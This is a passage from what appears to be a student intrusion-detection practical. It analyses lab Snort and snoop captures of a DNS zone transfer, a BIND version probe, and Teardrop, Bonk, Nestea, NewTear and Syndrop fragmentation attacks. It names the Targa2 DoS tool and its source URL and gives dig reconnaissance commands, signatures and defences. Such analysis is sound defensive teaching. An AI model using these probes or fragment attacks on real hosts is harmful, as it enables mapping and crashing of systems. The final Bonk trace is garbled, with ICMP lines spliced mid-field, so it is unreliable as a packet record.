hacker.com:47790 -> My.Net.9.46:53 TCP TTL:59 TOS:0x0 ID:53869
*****PA* Seq: 0x3CA236A2 Ack: 0x29718C96 Win: 0x4074
TCP Options => NOP NOP TS: 11192962 168663045

Event 2 : SCAN -namedV version probe (PROTOCOL UDP)
[**] IDS278 - SCAN -namedV version probe [**]
10/12-19:21:56.949945 hacker.com:3907 -> My.Net.9.46:53
UDP TTL:128 TOS:0x0 ID:853
Len: 276
=+
[**] IDS278 - SCAN -namedV version probe [**]
10/12-19:21:56.951793 hacker.com:3907 -> My.Net.9.46:53
UDP TTL:127 TOS:0x0 ID:853
Len: 276
=+

Source of Trace:
This detect was gathered from one small laboratory to tests of Intrusion Detection and Sans – Snort Logs

Detect was generated by:
Snoop and
Snort
Snort signature:
EVENT 1 – DNS ZONE TRANSFER
alert TCP $EXTERNAL any -> $INTERNAL 53 (msg: "IDS212/dns-zone-transfer"; flags: AP; content: "|FC|"; offset: 13;)
Protocol layer Flags ACK, PSH
Contents: "| FC |"
EVENT 2 - SCAN -namedV version probe
alert UDP $EXTERNAL any -> $INTERNAL 53 (msg: "IDS278/named-probe-version"; content: "|07|version|04|bind"; depth: 32; offset: 12; nocase;)
Protocol layer Flags ACK, PSH
Contents: "|07|version|04|bind"

Probability the source address was spoofed:
Low.
This attack requires a three-way handshake in order to succeed (event 1-TCP).
These **attacks need response**. This is a test in the laboratory. It´s not a source address spoofed.

Description of attack:
Event 1:
DNS Info: - One of the first things a hacker will do against you is a DNS Zone Transfer. Many admins blocks access to TCP port 53 to stop this (though that breaks other DNS services).
EVENT 2
A remote user attempted to determine the version of BIND running on a nameserver.
DNS information provides some information to attackers. It is very important to reduce the amount of information available to the Internet.

Attack Mechanism:
Event 1
An outside host requested a zone transfer from an internal DNS server. This could be ligitimate traffic from a secondary DNS server, ou an attacker gathering information about your domain.
AXFR (zone transfer) is a ligitimate function of DNS.
But, the zone information gives an attacker a detailed map of a network.
One common way to perform a zone transfer is with dig:
% dig @nsl.example.com axfr example.com
Event 2
On 4.9+ servers, you may obtain the version of bind running
With the command:
dig @server.to.query txt chaos version.bind.
Newer versions of BIND will respond to a query for version:

nslookup / server / set class=chaos / set type=txt /
version.bind.
BIND Configuration File:
Statement “options”:
..... options {
[version version_string;]
The version the server should report via the ndc command or via a query of name version.bind in class chaos. The default is the real version number of the server, but some server operators prefer to put another string.

Correlations:

EVENT 1 DNS ZONE TRANSFER

IDSKEY	IDS212
CVE	CAN-1999-0532

EVENT 2 SCAN NAMEDV VERSION PROBE

IDSKEY	IDS278
CVE	CVE-1999-0009

Evidence of Active Targeting:

We have evidence of active targeting.
The queries were sent to DNS server and we can find this evidence (active targeting) in tcpdump logs and /var/adm/messages (messages of DNS)

Severity

(Criticality + Lethality) – (System + Net Countermeasures) = Severity

Criticality = 5 (DNS server)
Lethality = 3 (information gathering)
System = 1 (some patches missing, no control DNS zone transfer to allow transfer to trust primary/secondary DNS servers)
Net = 2 (permissive firewall)

Severity = (5+3) – (1+2) = 5

Defensive Recommendation:

Disable or add access control to DNS zone transfer. One way to do this is to filter port 53 (TCP) to prevent domain name service zone transfers and permit access to socket 53 (TCP) only from known secondary domain name servers.
DNS Zone Transfer:
BIND Configuration File:
BIND Configuration File:
Statement “options”:

..... options {
[allow-query { *address_match_list* };]
[allow-transfer { address_match_list};]

With the allow-query and allow-transfer substatements, an administrator can restrict queries and zone transfer to a particular set of IP address.

Queries on disallowed networks get a response indicating that their query was refused. (RCODE = REFUSED)

DNS Version:

BIND Configuration File:

Statement “options”:

..... options {
[version version_string;]
....

The version the server should report via the ndc command or via a query of name version.bind in class chaos. The default is the real version number of the server, but some server operators prefer to put another string.

Possible Multiple choice question:

Question:

For the previous packets the queries are:

A)Suspicious
B)Pre-Attack Probe
C)Compromise
D)Possible Existing Compromise

Answer:

B) Pre-Attack Probe

Assignment 2 - Evaluate and Attack

go to the top

Give the URL, location, or command that you acquired the attack from

Attack name: Teardrop and Bonk (variation)
Attack type: Denial of Service
Attack tool: Targa2 – Denial of Service Exploit Generator
Risk Level: High
URL:- http://mixter.warrior2k.com

Start exploit and,

Choose IP source address, IP destination address, type of attack: teardrop, nestea, newtear, bonk, jolt, winnuke, land, syndrop

Targa2.c:

```
/* targa2.c - copyright by Mixter
   version 2.1 - released 22/3/99 - interface to 11
   multi-platform remote denial of service exploits
```

```
  gcc -Wall -O2 targa2.c -o targa2 ; strip targa2 */

/*
 *       featured exploits / authors / vulnerable platforms
 * bonk by route|daemon9 & klepto             - win95, nameservers
 * jolt by Jeff W. Roberson (overdrop: Mixter) - win95, klog (old linux)
 * land by m3lt                               - win95/nt, old un*x's
 * nestea by humble & ttol                    - older linux/bsd?
 * newtear by route|daemon9                   - linux/bsd/win95/others
 * syndrop by PineKoan                        - linux/win95/?
 * teardrop by route|daemon9                  - lots of os's
 * winnuke by _eci                            - win95/win31
 * 1234 by DarkShadow/Flu                     - win95/98/nt/others?
 * saihyousen by noc-wage                     - win98/firewalls/routers
 * oshare by r00t zer0                        - win9x/NT/macintosh
 */
```

Describe the attack including how it works
Signature of Teardrop:

This attack can be delivered by sending 2 or more specially fragmented IP datagrams with pathological offsetes. The first is the 0 offset fragment with length 36 bytes, with the MF bit on (data content is irrelevant). The second is the last fragment (MF == 0) with offset 24 and length 4 bytes.
The offset in the second fragment is negative (20 IP, 8 UDP – headers alone account for 28 and it says 24).

First packet UDP
Fragment ID: 242
Length : 36 bytes
Offset: 0 First Fragment
Second packet UDP
Fragment ID: 242
Length : 4 bytes
Offset: 24 Last Fragment

offset	The actual value of the fragment offset.
length	The length of the fragment.

FRAGMENT OVERLAP

The first fragment started at offset 0 and had a length of 36 bytes.
The second fragment should have an offset of 40, and not 24.We can see fragment overlap.
This is a Teardrop´ signature, include frag ID 242.
Addiotional Informations:

Some implementations of the TCP/IP IP fragmentation re-assembly code do not properly handle overlapping IP fragments.
Teardrop is a widely available attack tool that exploits this vulnerability.
Any remote user can crash a vulnerable machine.
This attack can crash a system using unusual fragmentation of IP packets and it will cause a complete crash of a machine (blue screen) or a loss of network connectivity on vulnerable machines.
It has several variations called “NewTear”, “Nestea”, “SynDrop” and
“Bonk” among others.
Systems affected: Windows NT, Windows 95, Linux.
The protocol´s header info is in the first fragment only.
More common Teardrop:
In general Frag ID is 242.
The offset in the second fragment is negative (20 IP, 8 UDP – headers alone account for 28 and it says 24).
But there are some variations of this attack.
In the example “Bonk”, we can see different Frag ID and we can see numerous additional fragments with the same ID number resubmiting fragments within the original fragment range from differentesIP addresses.
This trace is with TCP and UDP.
Overlapping fragments can crash of a machine.When the datagram is reassembled it exceeds the allowable datagram size.

Correlations:

It has been reported as Cert Advisory CA-1997-28 IP Denial-of-Service Attacks .
CVE:
CERT* Summary CS-98.02 - SPECIAL EDITION The attacks involve sending a pair of malformed IP fragments which are reassembled into an invalid UDP datagram. The invalid UDP datagram causes the target machine to go into an unstable state. Once in an unstable state, the target machine either halts or crashes. We have received reports that some machines crashed with a blue screen while others rebooted. Attack tools known by such names as NewTear, Bonk, and Boink have been previously used to exploit this vulnerability against individual hosts; however, in this instance, the attacker used a modified tool to automatically attack a large number of hosts.
CAN-1999-0015 –Teardrop IP denial of service
CAN-1999-0104 – A later variation on the Teardrop IP denial of service attack, a.k.a. Teardrop-2
CAN-1999-0257 – “Nestea” variation of teardrop IP fragmentation denial of service
CAN-1999-0258 – “Bonk” variation of teardrop IP fragmentation denial of service
Bugtraq id 124 The Teardrop denial of service attack exploits a flaw inherant to multiple vendor TCP/IP stacks. This problem is related to how the TCP/IP stack handle reassembly of fragmented IP packets. This attack can be delivered by sending 2 or more specially fragmented IP datagrams. The first is the 0 offset fragment with a payload of size N, with the MF bit on (data content is irrelevant). The second is the last fragment (MF == 0) with a positive offset < N and with a payload of < N.

This results in the TCP/IP stack allocatingunusually large resources to reassembling the packet(s). Depending on the memory deployed on the target box this usually results in the system freezing due to insufficient memory or in some case causing the machine to reboot.
AdvICE :Intrusions: 2000003 – Teardrop (http://advice.networkice.com)
AdvICE :Intrusions: 2000007 – Bonk DOS (http://advice.networkice.com)

Informations by www.dsinet.org:
Hacking Lexicon :
FRAGMENT:
The IP protocol has the ability to fragment one large IP packet into smaller packets. The receiver than reassembles them before forwarding the data up to the application, making this invisible. Fragmentation is necessary because IP is designed as an abstraction above local links. Since different links support different maximum packet sizes, some routers on the Internet can receive packets larger than can be transmitted along the next hop in the path. Therefore, IP allows 64-kilobyte packets even though most links cannot handle that size.
Example: Ethernet supports a maximum packet size of 1500 bytes. Therefore, in order to send an IP packet of 2000 bytes, the system must first fragment the packet into two pieces before transmission. The other end will then reassemble them back into a single packet on the other end.
Contrast: The general concept of fragmentation applies to all layers of the protocol stack. For example, ATM has a maximum frame size of 48-bytes, which is too small and inefficient for any purpose if higher layers had to deal with it. Therefore, the ATM adapter itself handles the fragmentation and presents a "virtual" interface that allows a full 64-kilobyte packet to be sent without IP level fragmentation. Conversely, when reading files from a file server, even a 64-kilobyte packet size is too small, so the file server layer automatically requests smaller parts of the file. In some cases, applications will attempt to calculate the MTU (Maximum Transmission Unit) of the connection in order to optimize operations to avoid any IP fragmentation.
Key point: IP fragmentation is slow, and is better handled either below the IP layer (like ATM) or above it (like in the application layer).
Key point: Fragmentation and reassembly is difficult to program right. Therefore, there are numerous ways to hack this feature. Some attacks are:
TEARDROP
In normal practice, you cannot create cases where IP fragments overlap. Therefore, hackers have found numerous techniques of creating overlapping IP fragments that cause systems to crash. The first of these attacks was called *teardrop* and would crash both Windows and Linux systems. Subsequent variations where known as *bonk*, *boink*, *newtear*, *newtear2*, and *syndrop*.
Key point: Fragmentation is almost never needed. Most communication runs over TCP, which does its own *segmentation* which is more efficient. Therefore, if you see any fragmentation on your network, you should examine it closely to see if it indicates an attack.
Linux: - It has a serious bug in it´s IP fragmentation module (in the fragmentation reassembly code). The problem is in the ´ip_glue()´ function...

> When Linux reassembles IP fragments to form the original IP
> datagram, it runs in a loop, copyng the payload from all the queued

fragments into a newly allocated buffer.

Defensive Recommendation:
You need to apply vendor patches. There are different patches for each attack tool and for each system operation.

Provide an annotated network trace of the attack in action (using Snort, tcpdump, windump, Shadow, snoop etc.)

Denial of Service attack – TearDrop

```
[**] Tiny Fragments - Possible Hostile Activity [**]
10/12-17:44:19.052344 192.168.10.1 -> 192.168.50.2
UDP TTL:60 TOS:0x0 ID:57005  MF
Frag Offset: 0x0   Frag Size: 0x24
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] Tiny Fragments - Possible Hostile Activity [**]
10/12-17:44:19.054257 192.168.10.1 -> 192.168.50.2
UDP TTL:59 TOS:0x0 ID:57005  MF
Frag Offset: 0x0   Frag Size: 0x24
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] Tiny Fragments - Possible Hostile Activity [**]
10/12-17:44:19.057614 192.168.10.1 -> 192.168.50.2
UDP TTL:60 TOS:0x0 ID:57005  MF
Frag Offset: 0x0   Frag Size: 0x24
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
[**] Tiny Fragments - Possible Hostile Activity [**]
10/12-17:44:19.058502 192.168.10.1 -> 192.168.50.2
UDP TTL:60 TOS:0x0 ID:57005  MF
Frag Offset: 0x0   Frag Size: 0x24

>  192.168.50.2 : udp 28 (frag 242:36@0+)
192.168.10.1  >  192.168.50.2   (frag 242:4@24)
192.168.10.1  >  192.168.50.2  : udp 28 (frag 242:36@0+)
192.168.10.1  >  192.168.50.2   (frag 242:4@24)

>  192.168.50.2  : udp 28 (frag 242:56@0+)
192.168.10.1  >  192.168.50.2   (frag 242:4@24)
>  192.168.50.2  : udp 28 (frag 242:56@0+)
192.168.10.1  >  192.168.50.2   (frag 242:4@24)

>  192.168.50.2 : udp 28 (frag 242:36@0+)
192.168.10.1  >  192.168.50.2   (frag 242:4@24)
192.168.10.1  >  192.168.50.2  : udp 28 (frag 242:36@0+)
192.168.10.1  >  192.168.50.2   (frag 242:4@24)


192.168.10.1 -> 192.168.50.2        UDP D=27516 S=60604 LEN=36
192.168.10.1 -> 192.168.50.2        UDP continuation ID=242
192.168.10.1 -> 192.168.50.2        UDP D=27516 S=60604 LEN=36
```

```
192.168.10.1 -> 192.168.50.2       UDP continuation ID=242
192.168.10.1 -> 192.168.50.2       UDP D=27516 S=60604 LEN=36
192.168.10.1 -> 192.168.50.2       UDP continuation ID=242
192.168.10.1 -> 192.168.50.2       UDP D=27516 S=60604 LEN=36
192.168.10.1 -> 192.168.50.2       UDP continuation ID=242
192.168.10.1 -> 192.168.50.2       UDP D=27516 S=60604 LEN=36
192.168.10.1 -> 192.168.50.2       UDP continuation ID=242


ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 1 arrived at 21:23:38.29
ETHER:  Packet size = 70 bytes
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:60:8:14:f3:5,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 56 bytes
IP:   Identification = 242
IP:   Flags = 0x2
IP:         .0.. .... = may fragment
IP:         ..1. .... = more fragments
IP:   Fragment offset = 0 bytes
IP:   Time to live = 64 seconds/hops
IP:   Protocol = 17 (UDP)
IP:   Header checksum = 2267
IP:   Source address = 192.168.10.1, 192.168.10.1
IP:   Destination address = 192.168.50.2, 192.168.50.2
IP:   No options
IP:
UDP:  ----- UDP Header -----
UDP:
UDP:  Source port = 45380
UDP:  Destination port = 24389
UDP:  Length = 36
UDP:  Checksum = 0000 (no checksum)
UDP:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 2 arrived at 21:23:38.29
ETHER:  Packet size = 60 bytes
```

```
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:60:8:14:f3:5,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 24 bytes
IP:   Identification = 242
IP:   Flags = 0x0
IP:         .0.. .... = may fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 24 bytes
IP:   Time to live = 64 seconds/hops
IP:   Protocol = 17 (UDP)
IP:   Header checksum = 4284
IP:   Source address = 192.168.10.1, 192.168.10.1
IP:   Destination address = 192.168.50.2, 192.168.50.2
IP:   No options
IP:
UDP:  [4 byte(s) of data, continuation of IP ident=242]

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 3 arrived at 21:23:38.30
ETHER:  Packet size = 70 bytes
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:60:8:14:f3:5,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 56 bytes
IP:   Identification = 242
IP:   Flags = 0x2
IP:         .0.. .... = may fragment
IP:         ..1. .... = more fragments
IP:   Fragment offset = 0 bytes
```

```
IP:   Time to live = 64 seconds/hops
IP:   Protocol = 17 (UDP)
IP:   Header checksum = 2267
IP:   Source address = 192.168.10.1, 192.168.10.1
IP:   Destination address = 192.168.50.2, 192.168.50.2
IP:   No options
IP:
UDP:  ----- UDP Header -----
UDP:
UDP:  Source port = 45380
UDP:  Destination port = 24389
UDP:  Length = 36
UDP:  Checksum = 0000 (no checksum)
UDP:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 4 arrived at 21:23:38.30
ETHER:  Packet size = 60 bytes
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:60:8:14:f3:5,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 24 bytes
IP:   Identification = 242
IP:   Flags = 0x0
IP:         .0.. .... = may fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 24 bytes
IP:   Time to live = 64 seconds/hops
IP:   Protocol = 17 (UDP)
IP:   Header checksum = 4284
IP:   Source address = 192.168.10.1, 192.168.10.1
IP:   Destination address = 192.168.50.2, 192.168.50.2
IP:   No options
IP:
UDP:  [4 byte(s) of data, continuation of IP ident=242]

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 5 arrived at 21:23:38.32
ETHER:  Packet size = 70 bytes
```

```
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:60:8:14:f3:5,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 56 bytes
IP:   Identification = 242
IP:   Flags = 0x2
IP:         .0.. .... = may fragment
IP:         ..1. .... = more fragments
IP:   Fragment offset = 0 bytes
IP:   Time to live = 64 seconds/hops
IP:   Protocol = 17 (UDP)
IP:   Header checksum = 2267
IP:   Source address = 192.168.10.1, 192.168.10.1
IP:   Destination address = 192.168.50.2, 192.168.50.2
IP:   No options
IP:
UDP:  ----- UDP Header -----
UDP:
UDP:  Source port = 45380
UDP:  Destination port = 24389
UDP:  Length = 36
UDP:  Checksum = 0000 (no checksum)
UDP:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 6 arrived at 21:23:38.32
ETHER:  Packet size = 60 bytes
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:60:8:14:f3:5,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
```

```
IP:   Total length = 24 bytes
IP:   Identification = 242
IP:   Flags = 0x0
IP:         .0.. .... = may fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 24 bytes
IP:   Time to live = 64 seconds/hops
IP:   Protocol = 17 (UDP)
IP:   Header checksum = 4284
IP:   Source address = 192.168.10.1, 192.168.10.1
IP:   Destination address = 192.168.50.2, 192.168.50.2
IP:   No options
IP:
UDP:  [4 byte(s) of data, continuation of IP ident=242]
```

Other Examples:
These are some examples of variations called “NewTear”, “Nestea”, “SynDrop” and “Bonk”.

“NewTear”

```
150.198.181.24 -> teste        UDP D=25184 S=57163 LEN=48
150.198.181.24 -> teste        UDP continuation ID=242
150.198.181.24 -> teste        UDP D=25184 S=57163 LEN=48
150.198.181.24 -> teste        UDP continuation ID=242
150.198.181.24 -> teste        UDP D=25184 S=57163 LEN=48
150.198.181.24 -> teste        UDP continuation ID=242
ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 1 arrived at 21:18:19.66
ETHER:  Packet size = 62 bytes
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:60:8:14:f3:5,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 48 bytes
IP:   Identification = 242
IP:   Flags = 0x2
IP:         .0.. .... = may fragment
IP:         ..1. .... = more fragments
IP:   Fragment offset = 0 bytes
IP:   Time to live = 64 seconds/hops
IP:   Protocol = 17 (UDP)
```

```
IP:   Header checksum = a60f
IP:   Source address = 99.225.93.47, 99.225.93.47
IP:   Destination address = 192.168.50.3, teste
IP:   No options
IP:
UDP:  ----- UDP Header -----
UDP:
UDP:  Source port = 4289
UDP:  Destination port = 24667
UDP:  Length = 48 (Not all data contained in this fragment)
UDP:  Checksum = 0000 (no checksum)
UDP:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 2 arrived at 21:18:19.66
ETHER:  Packet size = 60 bytes
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:60:8:14:f3:5,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 24 bytes
IP:   Identification = 242
IP:   Flags = 0x0
IP:         .0.. .... = may fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 24 bytes
IP:   Time to live = 64 seconds/hops
IP:   Protocol = 17 (UDP)
IP:   Header checksum = c624
IP:   Source address = 99.225.93.47, 99.225.93.47
IP:   Destination address = 192.168.50.3, teste
IP:   No options
IP:
UDP:  [4 byte(s) of data, continuation of IP ident=242]

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 3 arrived at 21:18:19.67
ETHER:  Packet size = 62 bytes
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:60:8:14:f3:5,
```

```
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 48 bytes
IP:   Identification = 242
IP:   Flags = 0x2
IP:         .0.. .... = may fragment
IP:         ..1. .... = more fragments
IP:   Fragment offset = 0 bytes
IP:   Time to live = 64 seconds/hops
IP:   Protocol = 17 (UDP)
IP:   Header checksum = a60f
IP:   Source address = 99.225.93.47, 99.225.93.47
IP:   Destination address = 192.168.50.3, teste
IP:   No options
IP:
UDP:  ----- UDP Header -----
UDP:
UDP:  Source port = 4289
UDP:  Destination port = 24667
UDP:  Length = 48 (Not all data contained in this fragment)
UDP:  Checksum = 0000 (no checksum)
UDP:
```

"Nestea"

```
159.32.122.6 -> teste        DNS R port=53
159.32.122.6 -> teste        UDP continuation ID=1109
218.255.23.120 -> teste        DNS R port=53
218.255.23.120 -> teste        UDP continuation ID=1109
228.236.104.116 -> teste        DNS R port=53
228.236.104.116 -> teste        UDP continuation ID=1109
235.161.222.19 -> teste        DNS R port=53
235.161.222.19 -> teste        UDP continuation ID=1109
```

"Syndrop"

```
42.142.249.88 -> teste        TCP D=42049 S=59171     Ack=0 Win=512
42.142.249.88 -> teste        TCP continuation ID=242
42.142.249.88 -> teste        TCP D=42049 S=59171     Ack=0 Win=512
42.142.249.88 -> teste        TCP continuation ID=242
42.142.249.88 -> teste        TCP D=42049 S=59171     Ack=0 Win=512
```

"Bonk"

```
104.170.149.6 -> teste        DNS R port=53
104.170.149.6 -> teste        UDP continuation ID=1109
21.35.35.125 -> teste        DNS R port=53
```

```
21.35.35.125 -> teste        UDP continuation ID=1109
248.21.156.6 -> teste        DNS R port=53
248.21.156.6 -> teste        UDP continuation ID=1109

ETHER:  Packet 1 arrived at 21:11:32.45
ETHER:  Packet size = 70 bytes
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:60:8:14:f3:5,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 56 bytes
IP:   Identification = 1109
IP:   Flags = 0x2
IP:         .0.. .... = may fragment
IP:         ..1. .... = more fragments
IP:   Fragment offset = 0 bytes
IP:   Time to live = 255 seconds/hops
IP:   Protocol = 17 (UDP)
IP:   Header checksum = e421
IP:   Source address = 66.146.126.0, 66.146.126.0
IP:   Destination address = 192.168.50.3, teste
IP:   No options
IP:
UDP:  ----- UDP Header -----
UDP:
UDP:  Source port = 53
UDP:  Destination port = 53 (DNS)
UDP:  Length = 36
UDP:  Checksum = 0000 (no checksum)
UDP:
DNS:  ----- DNS:   -----
DNS:
DNS:  ""
DNS:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 2 arrived at 21:11:32.45
ETHER:  Packet size = 60 bytes
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:60:8:14:f3:5,
ETHER:  Ethertype = 0800 (IP)
```

```
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 24 bytes
IP:   Identification = 1109
IP:   Flags = 0x0
IP:         .0.. .... = may fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 32 bytes
IP:   Time to live = 255 seconds/hops
IP:   Protocol = 17 (UDP)
IP:   Header checksum = 043e
IP:   Source address = 66.146.126.0, 66.146.126.0
IP:   Destination address = 192.168.50.3, teste
IP:   No options
IP:
UDP:  [4 byte(s) of data, continuation of IP ident=1109]

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 3 arrived at 21:11:32.47
ETHER:  Packet size = 70 bytes
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:60:8:14:f3:5,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 56 bytes
IP:   Identification = 1109
IP:   Flags = 0x2
IP:         .0.. .... = may fragment
IP:         ..1. .... = more fragments
IP:   Fragment offset = 0 bytes
IP:   Time to live = 255 seconds/hops
IP:   Protocol = 17 (UDP)
IP:   Header checksum = f97e
```

```
IP:   Source address = 157.215.13.94, 157.215.13.94
IP:   Destination address = 192.168.50.3, teste
IP:   No options
IP:
UDP:  ----- UDP Header -----
UDP:
UDP:  Source port = 53
UDP:  Destination port = 53 (DNS)
UDP:  Length = 36
UDP:  Checksum = 0000 (no checksum)
UDP:
DNS:  ----- DNS:   -----
DNS:
DNS:  ""
DNS:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 4 arrived at 21:11:32.47
ETHER:  Packet size = 60 bytes
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:60:8:14:f3:5,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type190.231.0.91 -> teste        ICMP continuation ID=4321
190.231.0.91 -> teste        ICMP continuation ID=4321
190.231.0.91 -> teste        ICMP continuation ID=4321
190.231.0.91 -> teste        ICMP continuation ID=4321
93.187.195.111 -> teste       ICMP Echo request
93.187.195.111 -> teste       ICMP continuation ID=4321
93.187.195.111 -> teste       ICMP continuation ID=4321
48.51.44.62 -> teste        ICMP Echo request
 48.51.44.62 -> teste        ICMP continuation ID=4321
 48.51.44.62 -> teste        ICMP continuation ID=4321
 48.51.44.62 -> teste        ICMP continuation ID=4321
 48.51.44.62 -> teste        ICMP continuation ID=DNS:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 16 arrived at 21:11:32.59
ETHER:  Packet size = 60 bytes
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:60:8:14:f3:5,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
```

```
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 24 bytes
IP:   Identification = 1109
IP:   Flags = 0x0
IP:         .0..  48.51.44.62 -> teste        ICMP continuation ID=4321
 48.51.44.62 -> teste        ICMP continuation ID=4321
 48.51.44.62 -> teste        ICMP continuation ID=4321
 48.51.44.62 -> teste        ICMP continuation ID=4321
70.33.237.99 -> teste        UDP D=13739 S=37568 LEN=18
70.33.237.99 -> teste        UDP continuation ID=242
70.33.237.99 -> teste        UDP D=13739 S=37568 LEN=26632
70.33.237.99 -> teste        UDP D=13739 S=37568 LEN=18
70.33.237.99 -> teste        UDP continuation ID=242
70.33.237.99 -> teste        UDP D=13739 S=37568 LEN=19208
70.33.237.99 -> teste        UDP D=13739 S=37568 LEN=18
83.190.163.1 -> teste        TCP D=56597 S=64982     Ack=0 Win=512
83.190.163.1 -> teste        TCP continuation ID=242
